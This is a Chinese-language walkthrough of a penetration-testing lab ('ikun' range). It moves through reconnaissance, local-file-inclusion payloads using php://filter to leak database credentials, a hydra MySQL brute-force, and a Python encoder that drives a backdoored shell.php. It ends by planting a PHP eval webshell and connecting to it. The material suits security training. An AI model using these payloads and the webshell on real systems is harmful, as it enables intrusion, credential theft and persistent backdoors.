ikun靶场

123456
4
2025-06-26

先用arpscan扫描存活主机

arp-scan -l

微信截图_20250625142356

用nmap扫描服务

微信截图_20250625142512

发现有三个服务 80,111,3306

进入网站发现有home,login,upload三个模块,upload里显示要先登录

login模块输入账号密码,burp抓包,intruder模块爆破失败

微信截图_20250625142854

把账号添加payload用万能密码字典爆破,爆破失败

微信截图_20250625143008

复制数据包后用sqlmap跑也没跑出来

sqlmap -r "bac.txt" --batch

微信截图_20250625143116

试xss也不行

用hydra尝试暴mysql也没爆出来

hydra -L 小user.txt -P 小pass.txt -f mysql://192.168.32.142

还发现这样做mysql服务会出现错误

微信截图_20250625143355

用gobuster扫描目录

gobuster dir -u http://192.168.32.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,json -t 50

微信截图_20250625143519

发现访问shell.php和config.php里面没有内容

访问/upload可以直接看到上传文件目录下的内容

/login.php是登录页面,但是发现跟在主页的登录页面位置不一样

发现主页登录页面是http://192.168.32.142/?page=login

尝试看有没有文件包含漏洞

http://192.168.32.142/?page=../../../../etc/passwd

http://192.168.32.142/?page=../../../etc/passwd 等等发现没用

尝试远程文件包含也不行

微信截图_20250625150418

然后去搜111端口有没有什么漏洞,看到服务什么的开启了,发现在msf里面有个模块但是是用来dos的,拿不了shell之类的没试有没有用

微信截图_20250625144026

后面用文件包含伪协议file://试了没用

http://192.168.32.142/index.php?page=file:///etc/passwd

微信截图_20250625145052

换php://filter也不显示

http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

微信截图_20250625145925

换php://input也不显示

微信截图_20250625150027

后面发现目录扫描扫出来的文件明明是login.php,upload.php,但是page里的参数只填login就能显示登录页面,但是添加.php反而不会显示登录页面,不知道是怎么回事

http://192.168.32.142/?page=login

http://192.168.32.142/?page=login.php

然后试着把php://filter伪协议里的.php试一下

http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=login

成功得到base64编码后的数据,丢到工具里解码

微信截图_20250625151755

发现代码里开头就会引入数据库文件

微信截图_20250625152217

http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=config

查看他config里面的内容,解码发现包含数据库用户密码,数据库名

微信截图_20250625152419

尝试登录mysql,发现登录失败,一开始还以为是密码加密了,后面发现不是密码加密了,是最开始的时候因为用hydra暴数据库的时候导致mysql服务错误,重启靶机之后就可以登录进去了

mysql -h 192.168.32.142 -P 3306 -uroot -p

因为配置文件里已经告诉了数据库,直接进数据库看表里的信息

微信截图_20250625153040

在users表里找到三个用户信息

微信截图_20250625153131

先直接登录,登录不了,base64解密之后,可以登录进去

登录进去之后发现可以上传文件了

上传普通一句话木马有限制

查看upload.php的源码

微信截图_20250625154441

微信截图_20250625154452

发现有严格限制,验证mime,白名单后缀是

正好这里也有文件包含想到的就是上传文件马然后用文件包含

php里面写<?php phpinfo();?>先试一下有没有用

copy 000.jpg/b + phpinfo.php/a phpinfo.jpg

上传上去了但是和前面一样,不会返回内容

http://192.168.32.142/index.php?page=images/b5f7a062d84869fe4f3af35b79fca50c.jpg

微信截图_20250625160821

用php://filter也不会显示内容

查看shell.php内容,发现可能存在一个命令执行的漏洞

微信截图_20250626094023

尝试按照对应要求编码后上传post数据,发现不会返回数据

微信截图_20250626102337

微信截图_20250626102322

在burp抓包添加post发现可以添加,好像是直接上传有些会被编码

给加密的代码加了个循环,方便后面输入其他的命令加密

import base64
​
def encrypt_php_code(php_code):
    # 对应PHP中的密钥
    key = "e45e329feb5d925b"
    # 初始化加密后的字节数组
    encrypted = bytearray()
        # 对每个字节进行异或加密
    for i in range(len(php_code)):
        # 对应PHP中的 i+1&15 索引计算
        key_idx = (i + 1) & 15
        # 执行异或操作并添加到加密结果中
        encrypted.append(ord(php_code[i]) ^ ord(key[key_idx]))
    # 进行Base64编码
    encrypted_base64 = base64.b64encode(encrypted).decode()
    return encrypted_base64
​
for i in range(1,100):
    php_code = input("输入")
    encrypted_result = encrypt_php_code(php_code)
    print("加密后的结果:",encrypted_result)

微信截图_20250626112008

微信截图_20250626103235

微信截图_20250626103140

微信截图_20250626103543

尝试nc反弹 没用,收集一下服务器相关信息

echo getcwd(); /var/www/html

system("ls -la");

先查看一下目录所在位置和下面文件

用file_put_contents("w.php", "<?php eval(\$_POST[\'x\']); ?>");在目录下生成一句话木马

再次查看一下,发现成功上传

微信截图_20250626105613

用蚁剑连接发现连接不上

system("cat w.php");

微信截图_20250626110734

发现shell.php里面是eval()里面没带单引号,但是前面输file_put_contents("w.php", "<?php eval(\$_POST[\'x\']); ?>");的时候以为有单引号然后添加了\去转义,看文件里面$前面还是得加\转义

file_put_contents("a.php", "<?php eval(\$_POST['x']); ?>");

上传成功,能成功用蚁剑连上微信截图_20250626110955

微信截图_20250626111420




动物装饰